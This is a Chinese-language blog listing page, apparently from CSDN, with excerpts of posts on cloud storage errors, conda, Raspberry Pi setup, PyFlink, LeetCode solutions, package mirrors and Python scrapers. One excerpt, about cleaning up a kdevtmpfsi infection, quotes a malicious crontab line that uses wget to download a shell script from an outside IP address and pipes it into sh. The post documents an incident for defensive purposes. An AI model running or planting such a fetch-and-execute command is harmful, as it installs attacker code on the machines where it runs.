- 博客(50)
- 收藏
- 关注
RSS订阅原创 解决腾讯云 COS 客户端报 Request has expired 的问题
腾讯云对象存储服务 COS 客户端在 docker 内报错了，提示 “AccessDenied” 以及 “Request has expired"。明明各种配置参数都一样，为什么换个地方就运行不了了呢。
2023-04-05 18:54:20
3627
原创 anaconda/miniconda移动到其他文件夹以后无法使用conda命令
anaconda/miniconda移动到其他文件夹后的一些衍生问题
2022-07-18 14:11:46
1223
原创 MacOS 安装 copt 求解器（保姆级）
copt 介绍杉数求解器 COPT(Cardinal Optimizer)，是杉数自主研发的针对大规模优化问题的高效数学规划求解器套件，也是支撑杉数端到端供应链平台的核心组件。COPT是目前中国唯一一个同时具备大规模线性规划(单纯形法和内点法)、混合整数规划、二阶锥规划、凸二次规划以及凸二次约束规划问题求解能力的综合性数学规划求解器，为企业应对高性能求解的需求提供了更多选择。其发展历程如下：2019 05月：COPT 1.0 发布中国首个商业单纯形法求解器2019 10月：发布中国首个商业混合整数
2022-04-14 18:34:32
1388
原创 linux/mac 安装 gym
linux/mac 安装 gympip 安装首先需要保证 python 版本是 3.7 及以上，否则可能会出问题。第一步，升级 pip 到最新版pip install pip -U第二步，按照 Github 官方文档，有三种安装方式。这里我选择安装完整版 gum[all]。pip install gym # 基础版，不包含某些环境依赖pip install 'gym[atari]' # 支持 Atari 游戏环境pip install 'gym[all]' # 完整版如果你没有安
2022-03-06 15:04:05
2796
1
原创 [树莓派4b教程] 3 详解远程登录的 2 种方式：SSH、VNC
远程登录树莓派有两种方式：SSH 登录，就是常用的服务器登录方式；VNC 登录，就是操作远程桌面，但需要先通过 SSH 登录后激活 VNC 功能；1、获取 IP 地址首先，我们确保在上一章节中，已经正确地添加了 wpa_supplicant.conf，并保证树莓派和电脑是在同一个 WIFI 网络下。然后，如果你能登陆路由器的管理界面，就可以很容易查到树莓派的 IP 地址。如果你是在...
2021-07-24 16:50:11
935
原创 [树莓派4b教程] 2 64位系统安装与配置
树莓派官方自带的是 32 位的 linux 系统，从性能角度考虑，64 位更强大，这也是我们为什么要手动安装系统(希望树莓派 5 不用这么折腾)。在本节中，我们来完成 64 位 linux 系统的下载、安装和配置。道具准备树莓派Micro SD 卡(TF卡)读卡器你可能会问，第一章买的 SSD 呢？事实上，由于 SSD 是通过 USB 端口来连接到树莓派的，而树莓派默认不从 USB...
2021-07-20 08:11:40
1140
原创 [树莓派1] 硬件选购指南
树莓派是一款基于 ARM 架构的微型电脑主板，你可以把它理解成一台微型服务器。目前最新版是树莓派 4b，最大支持 8G 内存。以前树莓派内存太小了，就没怎么折腾；现在树莓派 CPU 和内存都提高了，就有玩的价值了。我购买树莓派，是为了搭建一套分布式集群，用于爬虫、存储和计算，以及会在上面部署一些 web 应用，对外提供服务。下面讲讲我的选购指南(完整目录在网页右侧)。1、哪些必买1.1、...
2021-06-12 16:58:35
1288
原创 伯克森悖论
今天学到了一个很有趣的统计学名词，叫做“伯克森悖论”(Berkson's paradox)，也称为“伯克森偏见”(Berkson's bias)。它指的是，当不同样本被纳入统计的概率不同时，样本的两个不显著相关的特征就能够表现出一定的相关性。仔细想想也没错，因为抽样方法的错误，导致样本不能代表总体，所以可能就会得到错误的结论(即观察到相关性)。这属于理性的思考。但当伯克森悖论发生在生活中时，...
2021-01-29 23:57:49
5591
原创 MySQL 事务知识整理
最近在招 DBA ，在面试的过程中，通过学习也加深了对事务这一概念的理解，下面做个简单的整理。1、什么是事务事务是由一步或几步数据库操作序列组成逻辑执行单元，这系列操作要么全部执行，要么全部放弃执行。事务是在引擎层实现的，在 MySQL 中只有使用了 Innodb 引擎的数据库或表才支持事务。MyISAM 引擎就不支持事务。2、事务的作用事务处理可以用来维护数据库的完整性，保证成批的 ...
2020-12-14 21:12:14
114
原创 [PyFlink 从入门到精通] Exactly-Once 的实现
1、常见的语义特征常见的语义特性有如下 3 种：Exactly-Once：严格一次(中断后从断点恢复)。数据或事件可以保证被应用程序中的所有运算符严格地仅处理一次。At-Most-Once：最多一次(中断后从当前恢复)。数据或事件可以保证被应用程序中的所有运算符最多处理一次。At-Least-Once：最少一次(中断后从头恢复)。数据或事件可保证被应用程序图中的所有运算符最少处理一...
2020-11-24 10:50:18
754
1
原创 PyFlink 常见问题记录
在此记录 pyflink 运行过程中遇到的问题以及解决方法。让小伙伴们少走弯路。Q1: No module named 'encodings'Caused by: java.io.IOException: Failed to execute the command: venv.zip/venv/bin/python -c import pyflink;import os;print(os.pa...
2020-11-23 10:10:13
7230
19
原创 [PyFlink 从入门到精通] 基于 PyFlink 实现在线机器学习
本教程整理自我的 Github 仓库 pyflink_learn 的第 5 个案例。业务场景利用实时数据，在线训练一个机器学习模型，并实现对模型训练过程的实时监控。本案例展示了如何用 PyFlink + Scikit-Learn 进行在线机器学习，以及提供实时的模型预测服务。1、在线学习背景介绍准确地说，在线学习并不是一种模型，而是一种模型的训练方法。 能够根据线上反馈数据，实时快速...
2020-11-21 00:28:32
7116
6
原创 Pyflink 本地开发与测试
1、环境准备首先，准备 python 虚拟环境。2020年11月3日时的 pyflink 的最高版本为 1.11.2，请开发者按照实际需要或者线上环境要求来指定 pyflink 版本。wget https://ci.apache.org/projects/flink/flink-docs-release-1.11/downloads/setup-pyflink-virtual-env.shs...
2020-11-03 21:14:13
1435
6
原创 Pyflink 开发问题记录
在此记录 pyflink 运行过程中遇到的问题以及解决方法。让小伙伴们少走弯路。Q1: No module named 'encodings'Caused by: java.io.IOException: Failed to execute the command: venv.zip/venv/bin/python -c import pyflink;import os;print(os.pa...
2020-11-03 21:09:23
606
原创 CDH6.3 添加 Flink1.9 服务
3 个步骤。第一步，下载 jar 包 和 parcel 文件1、到 https://archive.cloudera.com/csa/1.0.0.0/csd/ 下载：FLINK-1.9.0-csa1.0.0.0-cdh6.3.0.jar并放到 CDH 安装的服务器上的 /opt/cloudera/csd 路径下2、到 https://archive.cloudera.com/csa/...
2020-10-21 13:44:18
742
1
原创 kdevtmpfsi 病毒感染及处理办法
发现病毒今天在家里，写完爬虫部署到远程服务器上后，正想运行时，发现 ScrapydWeb 上多了一条奇怪的记录：好家伙，项目名称居然就是 evil ，生怕我不知道这个是一只“邪恶”的爬虫吗？仔细看这只邪恶的爬虫，发现有一条比较关键的信息，就是下面的 * * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1 ，很明显，这是一条 crontab 语句。在服务器的命令行里输入 crontab -l
2020-10-17 19:27:42
1640
原创 [中等] 147. 对链表进行插入排序
欢迎关注 leetcode 专栏题目解法常规解法Python 专属解法题目对链表进行插入排序。插入排序的动画演示如上。从第一个元素开始，该链表可以被认为已经部分排序（用黑色表示）。每次迭代时，从输入数据中移除一个元素（用红色表示），并原地将其插入到已排好序的链表中。插入排序算法：插入排序是迭代的，每次只移动一个元素，直到所有元素可以形成一个有序的输出...
2020-06-15 00:02:46
274
原创 [中等] 253. 会议室 II
欢迎关注 leetcode 专栏题目解法常规解法最小堆解法优先队列解法题目给定一个会议时间安排的数组，每个会议时间都会包括开始和结束的时间 [[s1,e1],[s2,e2],...] (si < ei)，为避免会议冲突，同时要考虑充分利用会议室资源，请你计算至少需要多少间会议室，才能满足这些会议安排。示例 1:输入: [[0, 30],[5, 10],[15, ...
2020-06-14 16:31:23
443
原创 [中等] 33. 搜索旋转排序数组
欢迎关注 leetcode 专栏题目解法常规解法递归解法题目假设按照升序排序的数组在预先未知的某个点上进行了旋转。( 例如，数组 [0,1,2,4,5,6,7] 可能变为 [4,5,6,7,0,1,2] )。搜索一个给定的目标值，如果数组中存在这个目标值，则返回它的索引，否则返回 -1 。你可以假设数组中不存在重复的元素。你的算法时间复杂度必须是 O(log n) ...
2020-06-12 23:24:23
197
原创 [中等] 34. 在排序数组中查找元素的第一个和最后一个位置
欢迎关注 leetcode 专栏题目解法常规解法递归解法Python 专属解法题目给定一个按照升序排列的整数数组 nums，和一个目标值 target。找出给定目标值在数组中的开始位置和结束位置。你的算法时间复杂度必须是 O(log n) 级别。如果数组中不存在目标值，返回 [-1, -1]。示例 1:输入: nums = [5,7,7,8,8,10], targ...
2020-06-12 22:07:25
189
原创 [简单] 704. 二分查找
欢迎关注 leetcode 专栏题目解法常规解法递归解法Python 专属解法题目给定一个 n 个元素有序的（升序）整型数组 nums 和一个目标值 target ，写一个函数搜索 nums 中的 target，如果目标值存在返回下标，否则返回 -1。示例 1:输入: nums = [-1,0,3,5,9,12], target = 9输出: 4解释: 9 出现...
2020-06-12 17:48:50
127
原创 简易 Python 脚本查询嵊泗船票
夏天来了，这颗躁动的心啊，想去嵊泗玩几天~现在上海去嵊泗要上微信公众号或者官网买票，工作日还好，但是周末了不太容易抢到票了，又不能没事就刷手机（这太没有程序员范儿了）。所以，看看能不能用 Python 写个爬虫脚本定时帮我搜索呢？不想看罗里吧嗦分析的可以直接跳到文末。1. 请求接口分析1.1 URL分析了一下网站，发现是用Vue写的；接口设计也很简单粗暴，非常好懂，同时发现没有任何反爬...
2020-05-19 20:00:38
446
原创 FullCalendar V4 —— （2）日历属性
系列文章：FullCalendar V4 —— （1）安装插件FullCalendar V4 —— （2）日历属性下表整理自官方文档，便于查找。参数默认值含义defaultView"dayGridMonth"默认视图。header{ left:'title',center:'',right:'today prev,next' }在日历顶...
2020-04-21 14:32:21
1571
原创 FullCalendar V4 —— （1）安装插件
系列文章：FullCalendar V4 —— （1）安装插件FullCalendar V4 —— （2）日历属性安装在 FullCalendar V4 中，FullCalendar 的功能被分解为一个个插件，每个插件都要分别单独安装。安装 FullCalendar 的2个基础模块 @fullcalendar/core 与 @fullcalendar/daygrid：...
2020-04-21 14:27:09
956
原创 云服务器增加虚拟内存
云服务器增加虚拟内存本文环境：CentOS 7如果服务器上运行了较多的应用，当内存不足时，就会发生宕机的情况。可以通过增加虚拟内存的方式，提高总的内存容量，以解决这一问题。创建 swap 分区查看内存使用情况free -h 解释一下看到的信息：Mem 这一行显示了服务器的物理内存的使用情况。Swap 这一行显示了虚拟内存的使用情况，如果没有创建过虚拟内存，则为0。创建 sw...
2020-04-15 15:31:19
1600
原创 分享一个自己写的 python 模块 guang_toolkit，欢迎使用
目录简要说明环境要求安装教程1. 获取天气2. 地理/逆地理编码3. 地理哈希4. 发邮件5. 操作 MySQL 数据库6. 操作 Redis 数据库7. Pickle 序列化8. 操作亚马逊（AWS）S39. 可视化简要说明Guang-Toolkit 工具包是我平时在 python 项目开发中抽象出的一些功能集合，可以实现以下功能：获取天气：包括历史天气、实时天气、未来天气地理/逆地理...
2020-04-05 10:40:36
366
原创 记一次 MySQL 8.0 与 caching_sha2_password 有关的报错
某天发现无法用客户端远程登录 MySQL 了，客户端提示：Authentication plugin 'caching_sha2_password' cannot be loaded: dlopen(/usr/local/mysql/lib/plugin/caching_sha2_password.so, 2): image not found同时，用 python 脚本连...
2020-03-30 10:15:30
281
原创 pip install 加速（修改为国内源）
在国内，用 pip 安装 python 依赖包的时候，总是会遇到 Timeout 或者下载太慢的问题。这是因为 pip 源在国外，那么解决方法就是把 pip 源改成国内的，就可以实现 pip install 加速。1. 国内有哪些 pip 源？国内有几个名气比较大的源：清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/豆瓣 h...
2020-03-25 19:27:02
16922
原创 修改git远程仓库地址
在项目的根目录文件夹下，使用以下三种方法：直接修改地址git remote set-url origin [url]先删后加git remote rm origingit remote add origin [url]修改config文件vim .git/config ...
2020-02-29 11:24:22
97
原创 macOS 10.15 修改terminal终端显示
mac系统升级到10.15以后，shell由原来的bash变成了zsh，终端变成了下面这样，名字重复显示（或者其他异常显示情况）zhangguanghui@guanghui ~ %改起来也很简单，打开终端，输入touch ~/.zshrcecho "export PS1='%n %c $'" >> ~/.zshrcsource ~/.zshrc上面第一句...
2019-11-19 20:55:36
1175
原创 修改brew源
文章引自：修改homebrew源brew安装的时候太慢，最好的方法就是修改brew的源。国内有很多brew源可以选择，比较快的就是中科大brew镜像。总共需要3个步骤，下面是实现的方式和解释⤵️：1. 替换brew.githomebrew托管于github，更新homebrew就是从git上拉取最新的版本。有时候git的速度也很慢，会导致更新受阻，那么就需要给git仓库...
2019-06-02 23:28:09
657
原创 修改npm源
文章引自：修改npm源npm安装的时候太慢，最好的方法就是修改npm的源。国内有很多npm源可以选择，比较有名的就是淘宝npm镜像。1. 临时使用在 npm install XXX 时加入--registry URL即可，不会影响到本地配置，如：npm --registry https://registry.npm.taobao.org install express...
2019-06-02 21:22:02
570
原创 mac调节外接显示器亮度
背景最近京东618，花了不到2000，买了AOC的27寸U2790PQU显示器。讲真的，这是我买的第一台显示器，以前都是抱着笔记本电脑各种在外头浪，无拘无束多好啊。但现在，家里有个自己的办公桌……真香~4K高清IPS屏，很细腻，色彩很不错，用起来挺爽的。支架的阻尼感也很棒，无论是上下调整还是水平旋转，都很流畅。唯一的问题就是……夜深人静时，屏幕简直要亮瞎...
2019-05-31 01:51:23
7004
原创 0-1规划解数独
背景音乐：虚拟 - 陈粒背景本人一直以来比较喜欢数独，水平自认为还可以，常用的app是Sodoku Joy，最难的Maelstrom模式也能在半小时内完成。最近因工作需要，在看运筹优化方面的内容，突然想到数独问题也可以用0-1规划求解，非常简单！虽然变量和约束条件会变得很多，不过这都不是事儿。Google一下，发现Python有个线性规划模块(Pulp)正好也提供了这...
2018-06-09 11:35:22
1966
2
原创 高质量的决策1：辨识（问题/机会）
背景音乐：風の住む街 - 磯村由纪子最近刚上了一场关于高质量决策的培训，教人如何更科学地制定决策。我觉得很有帮助，于是在这里做个简单的整理。高质量的决策从小到大，我们做了无数的决策，从而有了现在的我们。所以，我们是不会做决策吗？不是的，我们只是不知道怎么样做出更高质量的决策。那么，什么是高质量的决策呢？其实并没有一个完美的定义。但是，当你做出这个决策以后...
2018-05-27 22:11:46
835
原创 python 利用pickle存大数据
背景音乐：梦中的婚礼 - Richard Clayderman最近在处理一份数据，有一个巨大的、字典型的中间变量，由于今后会持久、高频地使用，因此我考虑将其保存成类似于matlab的.mat格式的数据，方便以后随时读取。理所当然地会想到利用pickle来保存数据，因为这是在python环境下最常用也最简单的存储数据的方式。python存储数据的方法有很多，最常用的做法就是利用...
2018-04-01 21:03:33
239
原创 macbook 卸载 CUDA
背景音乐：Maps - Maroon 5背景最近在做深度学习，正好公司配的macbook pro是带有GPU的，以为可以用来加速。在此之前，我用CPU跑tensorflow，慢虽然慢了点，但也跑得很欢乐~所以，没仔细调研深度学习所需要的硬件环境，就按照tensorflow官方教程下载了Nvidia的显卡驱动，安装后却提示：好吧，没有监测到GPU？调研了以后...
2018-02-27 19:45:43
822
原创 python爬虫：地理编码
背景音乐：背景平时在做数据分析的时候，我们往往只能拿到地址信息，并不方便直接进行可视化。我们需要将地址转成经纬度坐标，国内的高德、百度等地图服务商们都有提供现成的API接口，方便我们直接调用。高德提供的Web服务高德API以高德为例，查看官方文档里的地理/逆地理编码部分：请求参数请求参数官方文档提供了详细的说明，点赞！可以看到，必要的...
2018-02-12 22:04:10
420
原创 python爬虫：豆瓣《神秘巨星》2921篇影评
背景音乐：雨还是不停地落下 - 孙燕姿继续水一篇文章……前段时间看了电影《神秘巨星》，路转粉啊。我个人是很喜欢啦，尽管剧情方面简单了点，但是音乐很赞呀。那其他人是怎么看待《神秘巨星》的呢？让我们去豆瓣上的影评上了解一下。可以看到有2861条影评（截止2018年2月10日），每条影评可以收集的数据包括：作者、评分、日期、影评内容、点赞数、反对数...
2018-02-12 02:15:47
370
原创 python爬虫：豆瓣电影TOP100
背景音乐：借我 - 谢春花今天学习学得头大，放松之余，水一篇文章好了——用python爬虫豆瓣电影TOP100的简易信息要收集的信息包括：每部电影的标题、导演、上映年份、评分以及引用。环境：python 2.7系统：macOS 10.13.1模块：BeautifulSoup、requests、pandas过程很简单，分析一下网页结构，然后用Beaut...
2018-02-07 23:06:23
1597
2
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人